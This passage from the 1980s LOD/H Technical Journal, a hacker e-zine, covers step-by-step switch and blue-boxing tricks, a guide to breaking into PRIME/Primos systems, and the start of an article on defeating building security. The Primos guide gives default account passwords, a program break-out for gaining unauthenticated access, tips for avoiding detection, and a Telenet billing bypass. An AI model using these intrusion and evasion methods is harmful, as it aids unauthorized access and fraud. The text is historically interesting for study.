|||
|
when necessary. Other types of devices can be used in the switch train, such as
|
|||
|
Digit Absorbing Selectors, where needed.
|
|||
|
|
|||
|
5:Toll/Operator assisted dialing
|
|||
|
|
|||
|
You may be able to dial 1/0+ numbers with your prefix included in some
|
|||
|
areas. You can dial any call that you could normally reach by dialing 1+ or 0+.
|
|||
|
For example, to dial an operator-assisted call to a number in Chicago, you
|
|||
|
could dial NXX+0312+555+1000 where NXX is your prefix, and you would receive
|
|||
|
the usual TSPS bong tone, and the number you dialed, 312+555+1000, would show
|
|||
|
up on the TSPS consoles LED readout board. You can also use a 1 in place of the
|
|||
|
0 in the above example to put the call through as a normal toll call.
|
|||
|
|
|||
|
This method does not bypass any type of billing, so don't get your hopes
|
|||
|
up high.
|
|||
|
|
|||
|
The reason this works is twofold. The first reason is that the thousandths
|
|||
|
digit in many SxS offices determines the type of call. A 0 or a 1 in place of
|
|||
|
another number (which would represent a local call) is handled accordingly. The
|
|||
|
other reason is due to a Digit Absorbing Selector that can be installed in some
|
|||
|
SxS offices to 'absorb' the prefix on intraoffice calls when it is not needed
|
|||
|
to process the call. A DAS can absorb either two or three digits, depending
|
|||
|
on whether the CO needs any prefix digit(s) for intraoffice call completion.
|
|||
|
|
|||
|
6:Hunting prefixes
|
|||
|
|
|||
|
SxS switches may also translate an improperly dialed local call and send
|
|||
|
it to the right area over interoffice trunks. Take for instance, you need to
|
|||
|
make a local call to 492-1000. You could dial 292-1000 and reach the exact
|
|||
|
same number, provided that there is no 292 prefix within your local calling
|
|||
|
area. However, only the first digit of a prefix may be modified or the call
|
|||
|
will not go through correctly unless you happen to have dialed a valid local
|
|||
|
prefix. You also cannot use a 1 or a 0 in place of the first prefix digit,
|
|||
|
because the switch would interpret that as either dialing a toll or an operator
|
|||
|
assisted call.
|
|||
|
|
|||
|
|
|||
|
7:Trunks
|
|||
|
|
|||
|
Step by Step switching system incoming and outgoing trunks are very likely
|
|||
|
to use In-band supervisory signalling. This means you could possibly use
|
|||
|
numbers served by a SxS CO to blue box off of. But, some older step areas may
|
|||
|
not use MF signalling, but DP signalling. DP signalling uses short bursts of
|
|||
|
2600Hz to transfer information as opposed to Multi-Frequency tones. In DP
|
|||
|
signalling, there are no KP or ST equivalents. Boxing may be accomplished from
|
|||
|
DP trunks by sending short bursts of 2600Hz (2 bursts would be the digit 2).
|
|||
|
Acceptable pulse rates are 7.5 to 12 pulses per second, but the normal rate is
|
|||
|
10 pulses per second. A pulse consists of an 'on hook' (2600Hz) tone and an
|
|||
|
off-hook (no tone). So, at 10 pulses per second, a digit might be .04 seconds
|
|||
|
of tone and .06 seconds of silence. DP is rarely used today, but some
|
|||
|
direct-control Step offices still use it. Common Control Step offices are much
|
|||
|
more likely to use MF trunk signalling.
|
|||
|
|
|||
|
|
|||
|
As said at the start of this file, some of the things mentioned here may
|
|||
|
have no practical use, but are being exposed to the public and to those who did
|
|||
|
not know about any one of the procedures mentioned here previously.
|
|||
|
|
|||
|
|
|||
|
References and acknowledgements
|
|||
|
===============================================================================
|
|||
|
Basic Telephone Switching Systems-By David Talley, Hayden publishers
|
|||
|
No. 1 AMARC-Bell System Technical Journal
|
|||
|
Mark Tabas for information about CAMA and DP, The Marauder, and Doom Prophet.
|
|||
|
===============================================================================
|
|||
|
The LOD/H Technical Journal: File #4 of 10
|
|||
|
|
|||
|
Written by,
|
|||
|
Carrier Culprit
|
|||
|
and
|
|||
|
The Legion Of Hackers
|
|||
|
|
|||
|
This is Part I of a II part series on the PRIME
|
|||
|
operating system. In this article I will give a
|
|||
|
general overview of the system and command usage.
|
|||
|
|
|||
|
Note: This article will center around the Primos version 19, and revisions 19.1
|
|||
|
and up.
|
|||
|
[Background Information]
|
|||
|
Primos is the operating system for the PRIME mainframe, and supermini
|
|||
|
systems. The operating system is usually run on the Prime 750. Primos is a
|
|||
|
relatively secure system. Externally security is great, but the internal
|
|||
|
security needs help. The latest revision of version 19 is 19.4.0 (as of this
|
|||
|
writing). This revision is more secure in both external and internal security
|
|||
|
than its predecessors. By the time this article is released, Version 20 should
|
|||
|
be out and an article on that version will be forthcoming.
|
|||
|
|
|||
|
|
|||
|
[Logging in V18.x.x]
|
|||
|
|
|||
|
It is quite easy to hack into a Prime running a version 18 of Primos.
|
|||
|
The external security is rather poor. All you need is an ID to logon.
|
|||
|
There is no password prompt, thus getting an operator's account is
|
|||
|
rather easy. Occasionally, there will be some additional security software
|
|||
|
running and passwords will be needed. I am not going to go into detail on
|
|||
|
version 18 because it is obsolete, any questions regarding version 18 please
|
|||
|
leave me mail.
|
|||
|
|
|||
|
|
|||
|
[Logging in V19.x.x]
|
|||
|
|
|||
|
A Primos system is very easy to recognize. Once you are connected,
|
|||
|
hit a few returns to get the "ER!" prompt or you may be prompted
|
|||
|
with the ID prompt. If you do get prompted with the ID prompt, you need
|
|||
|
not put "Login" in front of the ID. Here is an example of a Primos login:
|
|||
|
|
|||
|
ATDT 123-4567
|
|||
|
|
|||
|
[2 RETURNS]
|
|||
|
ER! Login CARRIER
|
|||
|
Password:
|
|||
|
|
|||
|
Prime (user 31) Logged in Friday, 5-Sept 14:27:20
|
|||
|
Welcome to Primos Version 19.4.5
|
|||
|
Last login Thursday, Sept 4 1986 02:01:12
|
|||
|
(1 mail waiting)
|
|||
|
|
|||
|
Note: You usually get 1 try to login before being disconnected.
|
|||
|
|
|||
|
In some cases the 2 c/r's are not needed and some systems won't respond until
|
|||
|
you type "login" and a return. Passwords and ID's are 6 characters, they may
|
|||
|
consist of letters and numbers. Finding passwords on a Primos can be hard, but
|
|||
|
there are some common ID's and passwords. You must use "login" before entering
|
|||
|
your ID. In this case my ID is "CARRIER". Here is a common list of ID's and
|
|||
|
passwords I have come across:
|
|||
|
|
|||
|
===============================
|
|||
|
| ID name | Password |
|
|||
|
===============================
|
|||
|
| PRIME | PRIME |
|
|||
|
| *SYSTEM | SYSTEM |
|
|||
|
| PRIMOS | PRIMOS |
|
|||
|
| *ADMIN | ADMIN |
|
|||
|
| RJE | RJE |
|
|||
|
| DEMO | DEMO |
|
|||
|
| GAMES | GAMES |
|
|||
|
| GUEST | GUEST |
|
|||
|
| REGIST | REGIST |
|
|||
|
| TEST | TEST |
|
|||
|
| NETMAN | NETMAN |
|
|||
|
| PRIRUN | PRIRUN |
|
|||
|
| TOOLS | TOOLS |
|
|||
|
| CMDNC0 | CMDMNC0 |
|
|||
|
| +TELENET | TELENET |
|
|||
|
===============================
|
|||
|
Note: * means that that ID is most likely to have SYS1 priorities.
|
|||
|
Note: + account belongs to Telenet or some employees of Telenet in which the
|
|||
|
Primos will be located on the Telenet packet network.
|
|||
|
|
|||
|
System Accounts:
|
|||
|
|
|||
|
SYSTEM- This account usually contains configuration programs. It
|
|||
|
also contains system messages, logs, and userlists.
|
|||
|
|
|||
|
TOOLS- This account usually contains the utility to add users and the Netlink
|
|||
|
utility (Explained later).
|
|||
|
|
|||
|
CMDNC0- Contains help files.
|
|||
|
|
|||
|
These are default accounts which are standard in new Primos systems. They
|
|||
|
should be there unless the userfile has been modified by the system operator.
|
|||
|
|
|||
|
You can also mix them around, ie- Login SYSTEM Password:PRIME
|
|||
|
There is no "systat" or extensive on-line help before logging in. Don't you
|
|||
|
wish people would model their operating systems after TOPS-10 (chuckle)? The
|
|||
|
best account to get on under would be an account with SYS1 priorities. This
|
|||
|
account is for people who advise regular users. Ok, lets assume you have
|
|||
|
hacked onto a regular account something like games.
|
|||
|
|
|||
|
The command prompt for Primos is "OK,". The first thing we would
|
|||
|
want to do is to see who is logged in. We would type "Users" and
|
|||
|
would get something like this:
|
|||
|
|
|||
|
OK, Users
|
|||
|
Users=8
|
|||
|
|
|||
|
This is telling us that there are 8 users currently logged in, which isn't
|
|||
|
extremely helpful. To get a full listing of usernames we would type "Status
|
|||
|
Users" or "Status -Users". We would get a status of users currently on-line.
|
|||
|
It would show us usernames, devices, and other sub-categories. Here's a sample
|
|||
|
of what you would get:
|
|||
|
|
|||
|
User Number Device
|
|||
|
ADMIN 3 <MDF0>
|
|||
|
SYSTEM 1 <MFD0> <MFD1>
|
|||
|
OBB 31 <MFD0>
|
|||
|
CRIMINAL 12 <MFD1>
|
|||
|
|
|||
|
If you see that other people are logged in, it may be best to log off and
|
|||
|
call back later, as the operators can perform the same command, and if they
|
|||
|
know that user should not be on the system at that time, you will obviously be
|
|||
|
kicked off. If there are 2 devices specified, the user is either receiving
|
|||
|
output from a different device, sending input to that device, or has logged out
|
|||
|
incorrectly (tsk tsk).
|
|||
|
|
|||
|
To get a full status of memory and accounting, you would type "Status System"
|
|||
|
This is usually in a Menu driven program, and you will get different options.
|
|||
|
ie- Log of users, memory, devices, etc.
|
|||
|
|
|||
|
We can access different priority levels by using the "CHAP" command. This is
|
|||
|
the way we can find out what our priority level is. We would do:
|
|||
|
|
|||
|
OK, CHAP UP
|
|||
|
|
|||
|
OK, CHAP DOWN X or CHAP DOWN
|
|||
|
|
|||
|
to return to your original priority level:
|
|||
|
|
|||
|
OK, CHAP ORIGIN or CHAP DEFAULT
|
|||
|
|
|||
|
Usually a user may leave his priority level rather low. You can then try to
|
|||
|
raise your level. There should be 6 different priority levels. A 0 meaning
|
|||
|
lowest, and 6 meaning highest. Here is a little diagram that will give you a
|
|||
|
list of ID's and what most of them will have access to.
|
|||
|
|
|||
|
Note: Some may have access to more or less than what I have written, but
|
|||
|
the comments are accurate for most systems.
|
|||
|
|
|||
|
!=================================================!
|
|||
|
! ID ! Comments !
|
|||
|
!=================================================!
|
|||
|
! GAMES !Allows user to view low level !
|
|||
|
! !directories, and execute regular!
|
|||
|
! !commands. ie-CHAP, STATUS !
|
|||
|
!=================================================!
|
|||
|
! DEMO !Allows user to run games, and !
|
|||
|
! !execute the tour program. Most !
|
|||
|
! !commands will not work, and it !
|
|||
|
! !has a time limit. Lastly, it can!
|
|||
|
! !only access low lvl directories.!
|
|||
|
!=================================================!
|
|||
|
! PRIME !Allows user to execute all !
|
|||
|
! !commands, except operator cmds. !
|
|||
|
! !User can also access PRIMENET if!
|
|||
|
! !the system supports it. Access !
|
|||
|
! !to only low level directories. !
|
|||
|
!=================================================!
|
|||
|
! ADMIN !Access to view all directories &!
|
|||
|
! !bypass all ACL'S. Can setup an !
|
|||
|
! !accounts on other Primos systems!
|
|||
|
! !via PRIMENET (if available). !
|
|||
|
! !User can execute any command. !
|
|||
|
!=================================================!
|
|||
|
! SYSTEM !Same as ADMIN, except cannot !
|
|||
|
! !view feedback to ADMINS. !
|
|||
|
!=================================================!
|
|||
|
! RJE !Same as games, except a RJE !
|
|||
|
! !user can erase user log and spy.!
|
|||
|
!=================================================!
|
|||
|
! TEST !Able to access any directory, !
|
|||
|
! !only restriction is a test user !
|
|||
|
! !is not authorized to shut down !
|
|||
|
! !the system. !
|
|||
|
!=================================================!
|
|||
|
Note: RJE is a Remote Job Entry
|
|||
|
|
|||
|
Priority levels may vary on different Primos systems, they can range from
|
|||
|
0- to any number up to 10. The most common range is 0-6. On some Primos
|
|||
|
systems you can do a CHAP PRIORITY to see what the range is.
|
|||
|
|
|||
|
Ok, we have checked priorities, and the system status. Lets move to
|
|||
|
directories. To list a directory type "LD" short for List Directory.
|
|||
|
This will list the directory you are attached to. In this case it
|
|||
|
will be your home directory. You will get a list of files within your own
|
|||
|
directory. To view someone elses directory you would type AT nameofdirectory.
|
|||
|
Lets say we are logged into a DEMO account. And we would like to
|
|||
|
view the files in the GAMES account. We could do either of the following:
|
|||
|
|
|||
|
OK, AT GAMES
|
|||
|
|
|||
|
This is telling the system we would like to default to the Games directory.
|
|||
|
This is similar to the Set Default name on a VAX/VMS system. (See Lex Luthor's
|
|||
|
Hacking VAX/VMS 3 part series for more information on VMS)
|
|||
|
|
|||
|
or we could do
|
|||
|
|
|||
|
OK, FUTIL
|
|||
|
>AT GAMES
|
|||
|
|
|||
|
This is the same thing, except in the first method you can still execute
|
|||
|
Primos commands while still attached to the Games account. But when using
|
|||
|
FUTIL (File UTILity program) you can only list, create and copy files. To get
|
|||
|
out of the file utility program just hit a Control P. Here is a chart of file
|
|||
|
types and how to execute them:
|
|||
|
|
|||
|
-------------------------------------------
|
|||
|
| File type | How to execute it |
|
|||
|
===========================================
|
|||
|
| .CPL | CPL pathname |
|
|||
|
| .SAVE | SAVE pathname |
|
|||
|
| .SEG | SEG pathname |
|
|||
|
| .BASICV | BASICV pathname |
|
|||
|
| .TXT | SLIST pathname |
|
|||
|
| .COM | CO pathname |
|
|||
|
-------------------------------------------
|
|||
|
Note: SLIST will also show the program lines of the file, whether it be a
|
|||
|
CPL file or COM file. This is a good way to learn CPL (Command Procedure
|
|||
|
Language).
|
|||
|
|
|||
|
Most files will not have suffixes. To execute them type "Resume pathname",
|
|||
|
filenames are called pathnames on PRIMOS. Unlike VMS, the PRIMOS system
|
|||
|
doesn't have the type of file as a suffix. On some files you'll get the
|
|||
|
suffix, but if not try: Resume pathname and that should execute the file,
|
|||
|
especially files with an "*" preceding them. If a file is in the format of,
|
|||
|
"*filename" do "Resume *filename". Usually basic files have an * preceding
|
|||
|
their titles.
|
|||
|
|
|||
|
To create a directory type:
|
|||
|
|
|||
|
OK, Create directname [-password] [-access]
|
|||
|
|
|||
|
A password can be from 1-6 letters, if I wanted to have a password on
|
|||
|
my directory I would do-
|
|||
|
|
|||
|
OK, Create directname [-limp] [-access]
|
|||
|
|
|||
|
If you don't put in an access level, the directory will automatically be
|
|||
|
set to ALL access. Here's a list of access rights:
|
|||
|
|
|||
|
P = Protect a directory
|
|||
|
D = Delete entries from directory
|
|||
|
A = Add entries to directory
|
|||
|
L = Read the contents within directory
|
|||
|
U = Attach to a directory
|
|||
|
R = Read contents of a file
|
|||
|
W = Edit contents of a file
|
|||
|
ALL = All of the Above^^^^^
|
|||
|
NONE = Denies all access
|
|||
|
|
|||
|
Typically, if you are logged into a DEMO account your directory will be set
|
|||
|
to ALL access. If it is, someone can attach to the demo directory and
|
|||
|
do anything they want with it. Here is a list of accounts and what access
|
|||
|
they will usually have on their directory.
|
|||
|
|
|||
|
DEMO = ALL
|
|||
|
GAMES = LUR
|
|||
|
PRIME = ALL
|
|||
|
SYSTEM = LUR
|
|||
|
ADMIN = NONE
|
|||
|
TEST = LUR
|
|||
|
JBB = NONE
|
|||
|
RJE = LUR
|
|||
|
|
|||
|
Most directories have LUR access which is access to read contents of the
|
|||
|
directory, attach to the directory, and read contents of a file. If
|
|||
|
you have enough privileges (priority levels) you can do the following to
|
|||
|
change the access rights:
|
|||
|
|
|||
|
OK, Set_Access ALL [-LUR]
|
|||
|
|
|||
|
This is setting access from ALL to LUR. ALL was the present access, now we
|
|||
|
changed it to LUR. You should only do this if it's your own personal account
|
|||
|
as changing access rights on hacked accounts could lead to your detection and
|
|||
|
subsequent expulsion from the system.
|
|||
|
|
|||
|
To create a file, preferably a text file, type "Mail pathname", then you will
|
|||
|
be thrown into the Mail subsystem which I believe is version 3.1 now. You can
|
|||
|
type in all the info you want, when finished hit a Control-P. It will ask you
|
|||
|
for a pathname to save it to. Enter the name you would like. It will look
|
|||
|
something like this:
|
|||
|
|
|||
|
OK, Mail DOE
|
|||
|
|
|||
|
Mail 3.1
|
|||
|
>Hello. This is your system operator. Any ideas on how to keep those
|
|||
|
>pesky little computer criminals out of our system?
|
|||
|
>Comments can be directed to SYSTEM.
|
|||
|
Enter Filename: Pesky.Txt
|
|||
|
|
|||
|
The above method is rather primative but works good if you are only creating a
|
|||
|
text file. It is a common method used on version 18, and is easy to perform.
|
|||
|
The other method is more common on version 19, and is commonly used today.
|
|||
|
|
|||
|
OK, Create Test.Txt
|
|||
|
OK, Ed
|
|||
|
|
|||
|
EDIT
|
|||
|
$
|
|||
|
Note: $ is not dropping you into DCL, so you DCL programmers are out of
|
|||
|
luck (chuckle).
|
|||
|
|
|||
|
From the $ prompt you can type 'help' to get a list of commands which can be
|
|||
|
used in the Editor.
|
|||
|
|
|||
|
$ (return)
|
|||
|
|
|||
|
By hitting return we are given the "&" prompt, here we can input our
|
|||
|
file. Or if you know CPL you can start programming. Do not hit return
|
|||
|
on a blank line or you will be thrown into the main Editor prompt ('$').
|
|||
|
|
|||
|
& Hello this is Bif (the system operator) I am testing the Editor
|
|||
|
& because we have added new enhancements. This is only a test.
|
|||
|
& (return)
|
|||
|
|
|||
|
Thus by hitting return we are given the $ prompt once again. To
|
|||
|
save our file we can type-
|
|||
|
|
|||
|
$ Save Test
|
|||
|
|
|||
|
In this case the filename is test. The system will reply by saying
|
|||
|
'Test Saved'. The file should be located at the end of the files list
|
|||
|
when you List files.
|
|||
|
|
|||
|
To make sure the contents are saved type "Slist Test.Txt", it will display
|
|||
|
the text you typed in mail or the editor. A couple of important notes:
|
|||
|
|
|||
|
1: Never use a "?" anywhere in the file, or it will erase all of the contents
|
|||
|
in the file.
|
|||
|
2: Never hit a c/r twice. In other words if you hit a c/r on a blank line the
|
|||
|
system will recognize this as mail and will send it to the name you entered.
|
|||
|
|
|||
|
If you want to make a basic program or basicv type "Basic" or "BasicV"
|
|||
|
at the "Ok," prompt and you will be thrown into that language. If you
|
|||
|
would like to make a CPL program you can enter it from the main prompt since
|
|||
|
that is the default language for Primos.
|
|||
|
|
|||
|
To delete a file just type "Delete filename".
|
|||
|
|
|||
|
To get a list of directories with their ACLs (Access Control Lists) type
|
|||
|
"List_Access". It would look something like this:
|
|||
|
|
|||
|
OK, LIST_ACCESS
|
|||
|
|
|||
|
ACL "<Current Directory>":
|
|||
|
|
|||
|
ADMIN : NONE
|
|||
|
DEMO : LUR
|
|||
|
SYSTEM : LUR
|
|||
|
ROBERT : ALL
|
|||
|
GAMES : LUR
|
|||
|
PRIME : ALL
|
|||
|
|
|||
|
|
|||
|
To get a listing of just files type "Listing", it will give you a list
|
|||
|
of files in the directory you're attached to. The only difference between
|
|||
|
this method and "LD" is that LD tells you what access rights is on that
|
|||
|
directory.
|
|||
|
|
|||
|
<Tour Program>
|
|||
|
|
|||
|
On some Prime systems you may find a program located within the Demo or Games
|
|||
|
account. The name of the program is "Tour" and you can execute it by doing CPL
|
|||
|
Tour. The program will be inputing commands and the system will execute them.
|
|||
|
There is a bug within that program which can be used to your advantage. First
|
|||
|
execute it by doing CPL Tour, once the program has begun it will have a couple
|
|||
|
of pauses (while it is loading). First hit 3 Control P's. By doing this you
|
|||
|
are breaking out of the program. Next, attach to the SYSTEM directory. Once
|
|||
|
attached, SLIST the Tour program (Slist Tour). When it begins listing the file
|
|||
|
do a Ctrl-P again. Now, go into the editor (ED). When you receive the $
|
|||
|
prompt hangup on the system. The system is now hung in the Editor, and the
|
|||
|
Tour program is still executing (from the Demo or Games account). You must call
|
|||
|
right back (and prey that the line hasn't been captured by a system operator).
|
|||
|
You will be put right into the tour program, while it is being executed. You
|
|||
|
will need no pw to login as you are attached right to it. You now have access
|
|||
|
to write and read anything your little heart desires. If you plan on trying
|
|||
|
this, do it at night, since you will most likely be the only one on the system.
|
|||
|
Always do it on a 1 line system. Never on a Prime that is used constantly
|
|||
|
(unless you have perfected this method). Remember to call right back after you
|
|||
|
have hung up, or someone like BIF may call and wonder why he did not get the ID
|
|||
|
prompt. So be careful.
|
|||
|
|
|||
|
I also know different ways you can modify the tour program to have
|
|||
|
a little fun (using CPL commands) but due to obvious reasons I will not
|
|||
|
publicize the lines. If you are interested please get in contact
|
|||
|
with me.
|
|||
|
|
|||
|
<Message>
|
|||
|
|
|||
|
To send a message to someone on the system type "Message username". It would
|
|||
|
look something like this:
|
|||
|
|
|||
|
OK, Message PRIME
|
|||
|
Hi, can you tell me why the system was down last week.
|
|||
|
|
|||
|
Note: Remember DON'T use ?'s.
|
|||
|
|
|||
|
The user PRIME will receive the message, unless he's busy or has executed
|
|||
|
command which refuses messages. It would look like this:
|
|||
|
|
|||
|
OK, Message Prime
|
|||
|
Hi, can you tell me why the system was down last week.
|
|||
|
|
|||
|
User Prime not accepting messages
|
|||
|
|
|||
|
If you do not receive that message then the user will get your message. This
|
|||
|
is like Phone username on VMS, except on a VMS it looks better (chuckle).
|
|||
|
|
|||
|
<Mail>
|
|||
|
|
|||
|
To send mail you type: "Mail xxxxx". If I wanted to send mail to user
|
|||
|
SYSTEM, I would type "Mail System", I would be thrown into the mail subsystem.
|
|||
|
To end a message hit a c/r on a blank line. You will be notified when you get
|
|||
|
mail when you first logon. It will say "(mail waiting)". To read it type
|
|||
|
"Mail". If you have no mail and you type Mail it will say "sorry no mail
|
|||
|
today". Once again no ?'s are allowed or the contents of the mail will be
|
|||
|
erased.
|
|||
|
|
|||
|
<Status>
|
|||
|
|
|||
|
Status followed by a topic will give you a system status on that topic. You
|
|||
|
can get information on the following using Status-
|
|||
|
|
|||
|
Status ALL = Information on who is logged in and devices.
|
|||
|
Status DI = Information on devices, what devices are in use.
|
|||
|
Status SYSTEM = Information on what version of Primos is being run.
|
|||
|
Status NETWORK = Information on Netlink, and network nodes.
|
|||
|
|
|||
|
There are others but these are probably the most important, and of course,
|
|||
|
"Status Users" which I mentioned earlier, which will give you a list of users
|
|||
|
currently logged in.
|
|||
|
|
|||
|
<Change_Password>
|
|||
|
|
|||
|
Allows a user to change his password. It will look something like this:
|
|||
|
|
|||
|
OK, Change_Password
|
|||
|
Old Password:Z102345
|
|||
|
New Password:
|
|||
|
Verification :
|
|||
|
|
|||
|
Notice how new password and verification don't echo, this is for security
|
|||
|
purposes so don't be alarmed. Changing passwords of hacked accounts is not a
|
|||
|
good idea. We don't want to get detected now do we?
|
|||
|
|
|||
|
<Info>
|
|||
|
|
|||
|
Gives info on the system. ie-who it belongs to, what version its running
|
|||
|
on and new features.
|
|||
|
|
|||
|
<Languages>
|
|||
|
|
|||
|
Gives a list of languages the system supports.
|
|||
|
|
|||
|
<Help>
|
|||
|
|
|||
|
Gives a list of help commands and a small description.
|
|||
|
|
|||
|
|
|||
|
<Netlink>
|
|||
|
|
|||
|
By typing Netlink at the main prompt (OK,) you will be thrown into the
|
|||
|
Netlink utility. Netlink is found on Primenet (which is the networking
|
|||
|
software for Primes). Netlink is used to communicate with other remote
|
|||
|
systems. You will find the netlink utility on most packet networks, since
|
|||
|
there is much use for it there. Netlink can be accessed by all users on
|
|||
|
the system. Once netlink is typed you will get a message, similar to:
|
|||
|
|
|||
|
Netlink version x.xx
|
|||
|
>(this being the main prompt)
|
|||
|
|
|||
|
Once again on-line help is available if you have no idea what you are
|
|||
|
doing. To call another system, you would use the NC xxxxxx format.
|
|||
|
If you were on Telenet using Primenet supporting the Netlink utility you
|
|||
|
could call any system on Telenet. For example if I wanted to call my
|
|||
|
favorite VMS I would type-
|
|||
|
|
|||
|
>NC 201111
|
|||
|
|
|||
|
201111 being the address. You will get a pause for about 5 seconds and you
|
|||
|
will be connected to the remote system. It is fairly slow, but it is
|
|||
|
sufficient. The whole process would look something like this-
|
|||
|
|
|||
|
OK, NETLINK
|
|||
|
|
|||
|
Netlink [Version 1.x]
|
|||
|
|
|||
|
>NC 201111
|
|||
|
<Pause for about 5 seconds>
|
|||
|
|
|||
|
Username:
|
|||
|
Password:
|
|||
|
|
|||
|
Username and Password shows that I have connected to the Vax running VMS. I
|
|||
|
would log onto the remote system (the VMS in this case) like I would any other
|
|||
|
time. Once I am done looking around on the remote system I can just logoff by
|
|||
|
doing a Control P (this will put you back into the utility), or I could just
|
|||
|
logoff properly by using the VMS logout command and be put back into the
|
|||
|
Netlink utility program.
|
|||
|
|
|||
|
If you ever receive the message "WILL NOT ACCEPT COLLECT CONNECTION" from a
|
|||
|
system off of Telenet, you can just reverse the charges to the Prime you are on
|
|||
|
and log onto the remote system. You can do this by using the NC format above.
|
|||
|
This allows you to bypass the need for a Telenet ID.
|
|||
|
|
|||
|
Netlink won't compare to something like DECNET but it gets the job done.
|
|||
|
Remember if you aren't too sure what you are doing just type "help" for on-line
|
|||
|
help. To exit the Netlink utility type "Quit" or just hit Control-P. This
|
|||
|
will give you the main prompt once again.
|
|||
|
|
|||
|
<Upcase/Lowcase>
|
|||
|
|
|||
|
Toggles upper and lower case.
|
|||
|
|
|||
|
<Control characters>
|
|||
|
|
|||
|
Control S = Pauses Text
|
|||
|
Control P = Aborts Text or Utility
|
|||
|
Control Q = Resumes Text
|
|||
|
|
|||
|
<Author Notes>
|
|||
|
|
|||
|
If you gain access to Primos supporting on-lines games, which can be found by
|
|||
|
(AT)taching to the Games directory. There may be a game called "FRITZ", it's a
|
|||
|
fun game dealing with questions on the Primos system. It can also test your
|
|||
|
knowledge on the system.
|
|||
|
|
|||
|
Usually if a person hangs up on the system without properly logging off you
|
|||
|
may be able to call the system and be attached to that account. This usually
|
|||
|
works on systems with one line. I called a Primos one day and was attached to
|
|||
|
a system account modifying a config program. It was interesting...
|
|||
|
|
|||
|
There are many Prime systems on Telenet so I suggest getting ahold of the
|
|||
|
updated LOD/H Telenet Directory from Issue I and jot down a few. Preferably
|
|||
|
Primenet, since they support the Netlink utility.
|
|||
|
|
|||
|
============================================================================
|
|||
|
|
|||
|
Here's a list of some major differences between PRIMOS version 18.x.xx and
|
|||
|
Version 19.x.xxx
|
|||
|
|
|||
|
1. Version 19 supports Access Control Lists, which allows the user to set a
|
|||
|
specific access right on his/her directory.
|
|||
|
2. Version 19's security has been tightened. A user will be prompted with
|
|||
|
the password prompt. A user is usually allowed only 1 unsuccessful login,
|
|||
|
if the ID or password is incorrect the user will be logged off.
|
|||
|
3. Once a user has tried to execute a command/file without sufficient
|
|||
|
access rights he will be logged off of the system. The account will
|
|||
|
automatically be suspended until an operator has contacted the user.
|
|||
|
4. Users have to change their password every 30 days.
|
|||
|
5. The "CHAP" command can be executed by users to toggle their priority
|
|||
|
level.
|
|||
|
6. Netlink has been enhanced with more commands.
|
|||
|
7. A primary password may be used for better security.
|
|||
|
8. After logging out you will be disconnected from the system, rather
|
|||
|
than prompted with the ER! prompt.
|
|||
|
9. Dec VT132 is the commonly used operator terminal on version 19.
|
|||
|
10. There have been new enhancements to the editor.
|
|||
|
=============================================================================
|
|||
|
|
|||
|
As you can see, PRIMOS is a very versatile system. It's not very popular
|
|||
|
among hackers since there hasn't been too much information released on it.
|
|||
|
Most commands will be the same on version 18, if not just execute the Help
|
|||
|
file. The final element to PRIMOS will be alarm (it will be similar to the one
|
|||
|
on VMS). I will go a little more in-depth on the ALARM system in Part II (I
|
|||
|
will have more information on it, and by that time it will be inserted in later
|
|||
|
revisions of version 20). Basically the alarm will record all unsuccessful
|
|||
|
logins and will alert the operator at the terminal. The alarm will be a
|
|||
|
standard part of PRIMOS and can not be shut on and off, from a reliable source,
|
|||
|
the alarm may come in a different package.
|
|||
|
=============================================================================
|
|||
|
|
|||
|
Part II: I will discuss new commands, creating accounts, go more in-depth on
|
|||
|
the Netlink utility, and any other changes in PRIMOS Version 20.
|
|||
|
|
|||
|
|
|||
|
Until then....
|
|||
|
|
|||
|
You can reach me via the TJ staff account, for questions, requests for more
|
|||
|
information, and corrections to this article.
|
|||
|
The LOD/H Technical Journal: File #5 of 10 (ISSUE #2)
|
|||
|
|
|||
|
|
|||
|
Lex Luthor and The Legion Of Doom/Hackers Present:
|
|||
|
|
|||
|
Identifying, Attacking, Defeating, and Bypassing
|
|||
|
Physical Security and Intrusion Detection Systems
|
|||
|
|
|||
|
PART II: THE EXTERIOR
|
|||
|
|
|||
|
|
|||
|
|
|||
|
INTRODUCTION:
|
|||
|
-------------
|
|||
|
|
|||
|
The 'exterior' refers to the area directly outside of a building and the things
|
|||
|
within the building which are on the exterior. These obviously are: doors, air
|
|||
|
conditioning ducts, windows, walls, roofs, garages, etc. I don't believe the
|
|||
|
word 'exterior' is the exact definition of what this article will encompass,
|
|||
|
unlike the 'perimeter', but it's the best I could come up with. This article
|
|||
|
primarily is of an informative nature, although methods of "attacking,
|
|||
|
defeating, and bypassing" will be explained. Its purpose is not specifically to
|
|||
|
encourage you to breach a facility's security, although I acknowledge that it
|
|||
|
could be used as such. Some of the devices mentioned in the physical security
|
|||
|
series are used in homes as well as corporate, industrial, and military
|
|||
|
installations, but my aim is specifically towards the commercial aspect of
|
|||
|
buildings, not homes and apartments. Entering a facility to obtain information
|
|||
|
such as passwords or manuals is one thing, breaking into someones' home to
|
|||
|
steal their personal belongings is another.
|
|||
|
|
|||
|
|
|||
|
THE EXTERIOR:
|
|||
|
-------------
|
|||
|
|
|||
|
A facility's second line of defense against intrusion is its' exterior. The
|
|||
|
exterior may have any or all of the following:
|
|||
|
|
|||
|
* Window breakage detectors
|
|||
|
|
|||
|
* Keypad systems
|
|||
|
|
|||
|
* Card access control systems
|
|||
|
|
|||
|
* Magnetic locks and contacts
|
|||
|
|
|||
|
* Security lighting and CCTV
|
|||
|
|
|||
|
CCTV which is also used, was mentioned in Part I: The Perimeter.
|
|||
|
Card Access Control devices will be mentioned in Part III: The Interior.
|
|||
|
|
|||
|
|
|||
|
WINDOWS:
|
|||
|
--------
|
|||
|
|
|||
|
Windows are a large security hole for buildings. You may notice that many phone
|
|||
|
company buildings and data processing centers have few if any windows. There
|
|||
|
are two things that can be done to secure windows aside from making sure they
|
|||
|
are locked. One is to make them very difficult to break, and the other is to
|
|||
|
detect a break when and if it occurs. Here is a quick breakdown of the common
|
|||
|
types of glass/windows in use today:
|
|||
|
|
|||
|
Plate glass: Can be cut with a glass cutter.
|
|||
|
Tempered: Normally can't be cut. Breaks up into little pieces when broken.
|
|||
|
Safety: You need a hatchet to break this stuff.
|
|||
|
Wire: This has wire criss-crossed inside of the glass, making it very hard to
|
|||
|
break, and even harder to actually go through the opening it is in place of.
|
|||
|
Plexy: Very hard to break, doesn't really shatter, but can be melted with the
|
|||
|
use of a torch.
|
|||
|
Lexan: This is used in bulletproof glass. One of the strongest and most secure
|
|||
|
types of glass.
|
|||
|
Herculite: Similar to Lexan.
|
|||
|
|
